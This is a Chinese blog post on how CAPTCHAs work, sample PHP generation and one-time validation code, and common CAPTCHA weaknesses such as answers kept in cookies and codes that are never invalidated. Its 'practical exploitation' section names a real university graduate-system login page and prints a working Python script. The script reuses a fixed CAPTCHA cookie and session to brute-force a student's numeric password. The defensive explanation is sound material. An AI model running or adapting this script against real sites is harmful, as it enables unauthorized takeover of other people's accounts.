文档章节

Jacky扯淡系列 – 验证码

huangjacky
 huangjacky
发布于 2014/10/12 12:21
字数 1687
阅读 10
收藏 0
点赞 0
评论 0
  • 1 验证码的用途

防止恶意用户的csrf,比如一些bot的重复请求,类似的有密码破解等操作。
但是验证码这个东西会降低用户的体验度,因此不能将其作为必备的防护措施。

  • 2 常见的验证码形式

通常的验证码内容有:数字,字母,恶心一点儿有中文,更有甚者用广告当验证码,比如某网盘的。
而验证码验证方式:一般是要求用户重复输入相同的内容,特殊一点儿的验证码会采用问答的形式。
1_thumb
这个是QQ的互联登陆时的验证码
2_thumb
这个是security.tencent.com的验证码

从上面的图可以看出来,验证码为了防止被图像识别一般都会在验证码生成的过程中,会加入噪点和对图片中的文字进行变形处理来增加自动化识别的难度。

  • 3 验证码实现的原理

验证码的交互过程如下:

image_thumb1
图3 交互过程图

系统在生成验证码时主要的操作有:

  1. 利用随机算法(如PHP中的mt_rand函数)从指定内容模版中选取出指定长度的字符串,记为$code
  2. 将$code以图片的形式展现给用户,PHP中生成图片可以使用GD库
  3. 将$code在服务端保留存放,通常放入用户对应的session中。
    $_SESSION['verifycode']=$code

下面的生成验证码的代码,是从网上扣来的,作者是@author iranw  <wang_wenguan@yeah.net>

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public  function  createimg( $width =100, $height =30, $length =4){
        $this ->width = $width ;
        $this ->height = $height ;
        $this ->lenght = $length ;
        $this ->im = imagecreate( $this ->width, $this ->height);  
   
        $this ->SetBgColor();     //设置背景色
        $this ->SetDot();         //设置干扰点
        $this ->SetLine();            //设置干扰线
        $this ->GetRandStr();     //获取随机字符    
   
        for ( $i =0; $i < $this ->lenght; $i ++){
            $c_position  = ! $i ? $this ->mar_left: $c_position + $this ->pad;
            $color  = ImageColorAllocate ( $this ->im, mt_rand ( 0, 100 ), mt_rand ( 0, 100 ), mt_rand ( 0, 100 ) ); //字符随即颜色
            ImageChar ( $this ->im, $this ->fontsize, $c_position , $this ->mar_top, $this ->randstr[ $i ], $color  ); //绘字符
        }
        Imagegif ( $this ->im );
        ImageDestroy ( $this ->im );
 
        return  $this ->randstr;
    }
  • 4 验证码安全隐患

从原理来看,验证码可能存在的问题有:

  1. 验证码生成时随机算法的健壮性,在一些编程语言里面random函数实际上伪随机,也就是上一次random和下一次random之间是能够推导出来,那么用户在知道某一次的验证码后,完全可以推导出之后所有的验证码。
  2. 验证码要具备良好的防止OCR识别的能力, 一般图像识别都是先通过二值化,然后高斯处理去噪点,最后边缘检测和分割。因此一个强壮验证码应该在生成的时候需要对文字进行变形,文字和文字之间最好能有重叠,这样来加大图像分割的难度。
  3. 验证码的答案一定要保存在用户不可见的位置,通常是写入到用户的session中,也可以写到一些内存数据库中,一定不能在用户页面中插入答案,不管这个页面元素是否可见,也不能将验证码的答案写到用户的Cookie中,因为上述两个地方都是在用户侧,用户想要查看是肯定能看到的,所以这个验证码对应的答案一定要存放在服务端。
  4. 最后一个问题属于逻辑问题,验证码一定是一次性的,用完了立马注销。也就是图3中的步骤4,如果系统没有步骤4,那么恶意用户可以在一次请求获得验证码后,使用该验证码不断的发送请求,那么系统设置验证码的目的也就形同虚设了。恶意用户的攻击流程如下:
    image_thumb4
    图4 恶意用户攻击流程图
    从上图中我们可以看到用户在第二次请求时(步骤4),由于没有经过步骤1和步骤2,因此系统中的验证码并没有改变,因此用户才能用上一次的验证码进行恶意请求。因此我们可以实现一个方法无论验证码是否正确,只要比较一次后就必须销毁原来的验证码:
    ?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
        /**
         * @param $code 用户提交的验证码
         * @return bool 验证码正确返回true
         */
        public  function  checkCode( $code ){
            $flag  = false;
            //比较验证码
            if (isset( $_SESSION [ 'verifycode' ]))
                $flag  = strtolower ( $_SESSION [ 'verifycode' ]) == strtolower ( $code );
            //清空已有的验证码信息
            unset( $_SESSION [ 'verifycode' ]);
            return  $flag ;
        }
  • 5 实践利用

由于手上刚好遇到了一个站点有这样的问题,也就是验证码存在cookie中,而且没有有效销毁的情况,那么接下来就说一下针对这样的情况如何利用。

有问题的站点:http://gd.whut.edu.cn/etm/ETMDCP/

请求验证码的HTTP请求:http://gd.whut.edu.cn/etm/ETMDCP/other/Code.aspx?0.8546793526038527

Cookie接收和发送如图:

image_thumb6
图5 接收到的Cookie

验证码如图:

image_thumb8
图6 验证码

因此在登录破解的时候根本不需要关注验证码的图片,只需要查看响应头中的Set-Cookie中CheckCode字段就可以。我们在破解密码过程中只需要不断发送用户名+密码+这个CheckCode就可以了。下面是我写的一段python代码来爆破密码的脚本:


?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
#coding:utf-8
'''
Author: HuangJacky
Description: 破解研究生系统登录密码
Time: 2013-06-18
Email: huangjacky@163.com
QQ: 4462676
'''
 
import  sys
import  httplib2
import  urllib
import  time
 
__author__ =  'fiend'
 
reload (sys)
sys.setdefaultencoding( "utf-8" ) #@UndefinedVariable
 
 
headers =  {
    'Host' : 'gd.whut.edu.cn' ,
    'Cookie' : 'ASP.NET_SessionId=j1ukxkeurn31yh45e21r3r55; CheckCode=6245' ,
    'Content-Type' : 'application/x-www-form-urlencoded'
}
v =  '密码错误!'
data =  {
    '__VIEWSTATE' : '/wEPDwUKMTMyOTgyMjUxMg8WBB4RTG9naW5UaW1lTGltaXRTZXQFBUNMT1NFHghmaWxlUGF0aAUbRTpcZXRtXEVUTURDUFxMaW5zX3dobGcuaW5pFgICAw9kFgICAQ8WAh4Fc3R5bGUFiQFiYWNrZ3JvdW5kOnVybChvdGhlci9UaXRsZVBpYy9oZWFkMjAxMzA0MTAuanBnKSBuby1yZXBlYXQ7IHdpZHRoOjU4MnB4OyBoZWlnaHQ6MzE0cHg7IG1hcmdpbjowIGF1dG87IG1hcmdpbi10b3A6MjIzcHg7IHRleHQtYWxpZ246Y2VudGVyOxYEAgcPEGQPFgRmAgECAgIDFgQQBQnnrqHnkIblkZgFAjAxZxAFBuWtpueUnwUCMDNnEAUG5a+85biIBQIwN2cQBQzor4TlrqHkuJPlrrYFAjA4Z2RkAgsPDxYCHgRUZXh0BQMwMTBkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUJYnRuX2xvZ2luloNQd+iL1vSdm+yjJz5XwgAEOYU=' ,
    '__EVENTVALIDATION' : '/wEWCQLhtbHJCgL4hPDxAQL7w4LuCgLLm6aZAgKOhqnMBgKOhpHMBgKOhoHMBgKOhsXPBgLjl+vcBIxSBFKNaX7oywTJkaGHdttr98yb' ,
    'txt_User' : '学号' ,
    'txt_Pass' :'密码',
    'txt_Code' :'验证码',
    'drp_type' : '03' ,
    'btn_login.x' : '35' ,
    'btn_login.y' : '5'
}
 
 
h =  httplib2.Http()
 
def  test(sno,pwd):
    data[ 'txt_User' ] =  sno
    data[ 'txt_Pass' ] =  pwd
    print  sno, ':' ,pwd
    resp,content =  h.request(url, 'POST' ,urllib.urlencode(data),headers)
    if  resp.status = =  200 :
        if  content.find(v, 5000 ) = = - 1 :
            print  'password is ' ,pwd
            return  True
        else :
            return  False
    elif  resp.status = =  302 :
        print  'password is ' ,pwd
        return  True
    else :
        print  resp
        return  False
 
def  init(code,cookie = None ):
    if  cookie:
        headers[ 'Cookie' ] =  cookie
    data[ 'txt_Code' ] =  code
 
if  __name__ = =  '__main__' :
    init( 2589 , 'ASP.NET_SessionId=j1ukxkeurn31yh45e21r3r55; CheckCode=4427' )
    sno =  '1049721101334'
    print  'Now Cracking is ' ,sno
    i =  1
    while  i < 9999999 :
        nn,dd =  divmod (i, 100 )
        if  dd = =  0 :
            time.sleep( 2 )
        s =  str (i)
        pwd =  s
        if  test(sno,pwd):
            break
        i + = 1
        time.sleep( 0.1 )
    print  'done'

我是HuangJacky,今天就到这里了。

本文转载自:http://www.cnblogs.com/huangjacky/p/3144269.html

共有 人打赏支持
huangjacky
粉丝 5
博文 19
码字总数 0
作品 0
深圳
高级程序员
PHP调用创蓝253国际短信验证码

#!/usr/local/bin/python #-- coding:utf-8 -- Author: jacky Time: 14-2-22 下午11:48 Desc: 短信http接口的python代码调用示例 import httplib import urllib import json #服务地址 host......

创蓝_253 ⋅ 05/15 ⋅ 0

RDS for MySQL 如何使用 Percona Toolkit

pt-online-schema-change 和 pt-archiver 工具均须指定 --no-version-check 选项方能搭配 RDS MySQL 实例使用。 1. pt-online-schema-change pt-online-schema-change 提供在线修改表结构等功......

会说话的鱼 ⋅ 04/02 ⋅ 0

Cassandra数据模型

提起NoSQL这个话题,仿佛不应该是DBA要关注的事,而是架构师应该关心的。但是作为一名DBA,在使用传统的关系型思想建模时,应该有必要了解NoSQL的建模方法。 各种NoSQL数据库有很多,我最关注...

老枪 ⋅ 2010/02/26 ⋅ 8

12306又升级了

准备抢个票的发现登录都不行了,发现在12306登录又折腾人了: 登录增加了几个参数: NzU4MTU%3D=YWY0YzFkOTk2ODgzNWRhOQ%3D%3D myversion=undefined isClick= form_tk=null 其中第一个参数最扯淡...

滄海一夢 ⋅ 2013/09/11 ⋅ 4

字符串常用功能

移除空白:通过strip()方法把字符前后空格去掉 name = ' dick' printname.strip() 执行结果: E:>pythonhello.py Dick 去除左边空格:lstrip() 去除右边空格:rstrip() 分割:通过split()方法...

huwei0512 ⋅ 2017/03/08 ⋅ 0

文本的基本操作

#文件里写,读 #找到文件 文件路径 E:log.txt #打开文件 file(‘文件路径’,‘模式’) #文件操作,读写 file_obj.read() #将所有读入内存 file_obj.readlines()[行,] For line infile_o...

huwei0512 ⋅ 2017/03/08 ⋅ 0

列表,元组,字典的异同

列表:[ ] 特点:可修改 基本操作: 索引 [] 切片 [] 追加 append 删除 del 长度 len 包含 in eg: >>>name_list = ('hello','jacky','dick') >>> delname_list[0] Traceback (mostrecent ca......

huwei0512 ⋅ 2017/03/08 ⋅ 0

图像识别试验 - 字符验证码、车牌号、身份证号

© 野比 2012 欢迎大家和我讨论相关问题。 代码在此(注意此版并非最终版) 光学字符识别(OCR)是非常有用的技术。在验证码识别、车牌号识别、文字识别方面,基于字符的识别技术算是比较容易...

nothingfinal ⋅ 03/09 ⋅ 0

10种意想不到的验证码风格设计

众所周知,验证码就是帮助我们的网站防止计算机生成答案。今天的这10个用户体验绝佳、令人意想不到的验证码设计风格,推荐给大家。 1. QapTcha QapTcha – 拖曳式jQuery验证码系统。作为用户...

老枪 ⋅ 2011/04/28 ⋅ 46

landptf/landptf

自定义控件 #一 Android Studio 引用方式 在build.gradle文件中加入 compile 'com.landptf:landptf:1.0.2' #二 控件效果及实现 1 Android自定义控件系列(一)—Button七十二变 2 Android自定义...

landptf ⋅ 2017/03/06 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

Spring | IOC AOP 注解 简单使用

写在前面的话 很久没更新笔记了,有人会抱怨:小冯啊,你是不是在偷懒啊,没有学习了。老哥,真的冤枉:我觉得我自己很菜,还在努力学习呢,正在学习Vue.js做管理系统呢。即便这样,我还是不...

Wenyi_Feng ⋅ 今天 ⋅ 0

博客迁移到 https://www.jianshu.com/u/aa501451a235

博客迁移到 https://www.jianshu.com/u/aa501451a235 本博客不再更新

为为02 ⋅ 今天 ⋅ 0

win10怎么彻底关闭自动更新

win10自带的更新每天都很多,每一次下载都要占用大量网络,而且安装要等得时间也蛮久的。 工具/原料 Win10 方法/步骤 单击左下角开始菜单点击设置图标进入设置界面 在设置窗口中输入“服务”...

阿K1225 ⋅ 今天 ⋅ 0

Elasticsearch 6.3.0 SQL功能使用案例分享

The best elasticsearch highlevel java rest api-----bboss Elasticsearch 6.3.0 官方新推出的SQL检索插件非常不错,本文一个实际案例来介绍其使用方法。 1.代码中的sql检索 @Testpu...

bboss ⋅ 今天 ⋅ 0

informix数据库在linux中的安装以及用java/c/c++访问

一、安装前准备 安装JDK(略) 到IBM官网上下载informix软件:iif.12.10.FC9DE.linux-x86_64.tar放在某个大家都可以访问的目录比如:/mypkg,并解压到该目录下。 我也放到了百度云和天翼云上...

wangxuwei ⋅ 今天 ⋅ 0

PHP语言系统ZBLOG或许无法重现月光博客的闪耀历史[图]

最近在写博客,希望通过自己努力打造一个优秀的教育类主题博客,名动江湖,但是问题来了,现在写博客还有前途吗?面对强大的自媒体站点围剿,还有信心和可能型吗? 至于程序部分,我选择了P...

原创小博客 ⋅ 今天 ⋅ 0

IntelliJ IDEA 2018.1新特性

工欲善其事必先利其器,如果有一款IDE可以让你更高效地专注于开发以及源码阅读,为什么不试一试? 本文转载自:netty技术内幕 3月27日,jetbrains正式发布期待已久的IntelliJ IDEA 2018.1,再...

Romane ⋅ 今天 ⋅ 0

浅谈设计模式之工厂模式

工厂模式(Factory Pattern)是 Java 中最常用的设计模式之一。这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式。 在工厂模式中,我们在创建对象时不会对客户端暴露创建逻...

佛系程序猿灬 ⋅ 今天 ⋅ 0

Dockerfile基础命令总结

FROM 指定使用的基础base image FROM scratch # 制作base image ,不使用任何基础imageFROM centos # 使用base imageFROM ubuntu:14.04 尽量使用官方的base image,为了安全 LABEL 描述作...

ExtreU ⋅ 昨天 ⋅ 0

存储,对比私有云和公有云的不同

导读 说起公共存储,很难不与后网络公司时代的选择性外包联系起来,但尽管如此,它还是具备着简单和固有的可用性。公共存储的名字听起来也缺乏专有性,很像是把东西直接堆放在那里而不会得到...

问题终结者 ⋅ 昨天 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部